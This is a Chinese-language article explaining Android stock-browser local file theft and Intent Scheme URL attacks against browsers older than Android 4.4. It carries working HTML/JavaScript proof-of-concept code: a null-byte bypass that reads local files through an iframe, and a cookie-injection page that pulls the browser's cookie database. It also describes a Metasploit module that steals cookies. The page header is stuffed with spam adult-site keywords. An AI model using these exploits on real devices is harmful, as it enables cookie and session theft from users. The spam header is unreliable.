压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

Android瀏覽器跨域數據竊取和Intent Scheme攻擊

  我們接下來要介紹的這個漏洞,其影響了Android版本4.4以下的自帶瀏覽器和一些其他特定的Android瀏覽器,它允許黑客讀取sqlite格式的cookie數據庫文件,從而竊取cookie。順著這個問題,我們來談一談Android版本4.4以下的跨站數據竊取攻擊。

  小科普

  Intent Scheme URL攻擊:這種攻擊方式,利用了瀏覽器保護措施的不足,通過瀏覽器作為橋梁間接實現Intend-Based攻擊。相比于普通Intend-Based攻擊,這種方式極具隱蔽性,而且由于惡意代碼隱藏WebPage中,傳統的特征匹配完全不起作用。除此之外,這種攻擊還能直接訪問瀏覽器自身的組件(無論是公開還是私有)和私有文件,比如cookie文件,進而導致用戶機密信息的泄露。

  Intent-based攻擊:這種基于intent的安卓攻擊手法很普遍,輕則導致應用程序崩潰,重則可能演變提權漏洞。

  攻擊實驗背景介紹

  在我研究Stock瀏覽器的事務流程標準時發現,如果讓瀏覽器打開新選項卡并且使用file://協議,就可以通過網頁打開本地文件。當然,這的確不算一個漏洞,但是如果它能在讀取本地文件后,然后把該文件的信息發送到遠程時,那就完全不同了。而且我留意到,這是個Android下瀏覽器的通殺漏洞,且并不僅限于Chrome、Firefox或者Opera等等。

  下面的截圖展示了漏洞被補后,權限被禁用,想要從菜單欄打開本地文件會發生的錯誤:

  攻擊實驗方案:

  為了利用這個漏洞,我們模擬了以下攻擊流程:

  1.騙取用戶訪問黑客構造的網站

  2.黑客在某頁面設置返回特定頭部內容,使得受害者的瀏覽器自行下載exploit.html

  3.受害者瀏覽器會主動打開新選項卡,瀏覽exploit.html

  4.exploit.html將讀取本地敏感信息文件,反饋給黑客

  為了給這次攻擊構造一個有效的exp,我同某日本安全研究員Haru Sugiyama討論后,他給了我以下的POC:

  http://133.242.134.241/firefox/test.html

  當你通過Android瀏覽器訪問以上示例頁面時,只要進行一些特定操作,其中的惡意腳本就會影響Firefox(文章首段提到的特定的Android瀏覽器實例)或者Android的自帶瀏覽器,下載惡意代碼到/sdcard/Download/exploit.html,當然前提是sdcard這個目錄確實存在。瀏覽器會自行在新選項卡里打開剛剛下載的惡意文件exploit.html,然后從其他本地文件里讀取內容。實際上,這個攻擊過程并不如我講的這么輕松愉快。在這里我們來做個對比實驗,看看針對Android 2.3.x和Android 4.1.x-4.3進行攻擊的結果區別。

  Android 2.3.x觀察報告

  實驗中我們使用了Android 2.3的模擬器,很輕松地就通過惡意文件exploit.html讀取到了其他本地文件的內容,這代表該版本系統瀏覽器存在相應的漏洞,允許惡意網站繞過Android瀏覽器同源策略,進行跨域數據竊取。但是,由于Android 2.3.x的使用量大約只占安卓用戶的11.4%,而且正在如winxp一般慢慢地消亡,所以其危害并沒有那么大,Android各版本用戶使用量統計圖如下:

  然而Android 4.1.x-4.3雖然并不能直接讀取本地文件,但我們在嘗試了空字節繞過的小技巧后,發現收效甚好,POC如下:

  <button onclick="exploit()">Read iframe</button>

  <button onclick="window.open('u0000javascript:alert(document.body.innerHTML)','test')">

  Try u0000

  </button>

  <iframe src="file:/default.prop" name="test" style='width:100%;height:200'>

  </iframe>

  <script>

  function exploit()

  {

  var iframe = document.getElementsByTagName('iframe')[0];

  try

  {

  alert("Try to read local file.");

  alert("contentWindow:"+iframe.contentWindow);

  alert("document:"+iframe.contentWindow.document);

  alert("body:"+iframe.contentWindow.document.body);

  alert("innerHTML:"+iframe.contentWindow.document.body.innerHTML);

  }

  catch(e)

  {

  alert(e);

  }

  }

  </script>

  遺憾的是,據CVE-2014-6041所述,該漏洞已經打上補丁,經試驗exp失效。

  采用Intent scheme URL進行攻擊

  據我們以上研究得出的結論,想通過Android 4.1.x-4.3的瀏覽器進行本地文件讀取是不可行的,因為在這一系列版本中,本地文件不能從任意其他文件里讀取內容。然而,metasploit團隊的Joe Vennix表示,從intent scheme入手就可以輕松地發起攻擊,附上相應文章,以下是文章中的POC:

  該攻擊POC的思路是:

  受害者保存了包含惡意JS代碼的cookie后,瀏覽器打開儲存該cookie的sqlite數據庫文件時,附在cookie里被注入了的惡意JS代碼會自動執行,從而竊取數據庫文件中存在的其他cookie。基于這個POC,黑客可以嘗試讀取整個webviewCookieChromium.db文件。

  <!doctype html>

  <html>

  <head><meta name="viewport" content="width=device-width, user-scalable=no" /></head>

  <body style='width:100%;font-size: 16px;'>

  <a href='file:///data/data/com.android.browser/databases/webviewCookiesChromium.db'>

  Redirecting… To continue, tap and hold here, then choose "Open in a new tab"

  </a>

  <script>

  document.cookie='x=<img src=x onerror=prompt(document.body.innerHTML)>';

  </script>

  </body>

  </html>

  Joe實現了一個Metasploit模塊,可以自動化竊取cookie然后反饋給黑客,即使該數據庫文件采用了httponly技術,這種攻擊手段依然是危害巨大的。

  Metasploit模塊實現步驟:

  下面的截圖讓你明白如何利用該模塊獲取cookie:

  第一步:設置模塊

  第二步:竊取cookie

  你做完了這步,就可以泡杯咖啡,坐等魚兒上鉤了。

  第三步:坐等cookie

  補丁相關信息:

  在2014年2月發布了補丁,其對數據庫文件儲存目錄的權限進行了加固,但是因補丁策略限制,它并沒有照顧到大部分廠商。

 

上一篇:智能無懼挑戰 山石網科轟動RSA2015

下一篇:攻陷PSN黑客猖狂至極想要和FBI一決高下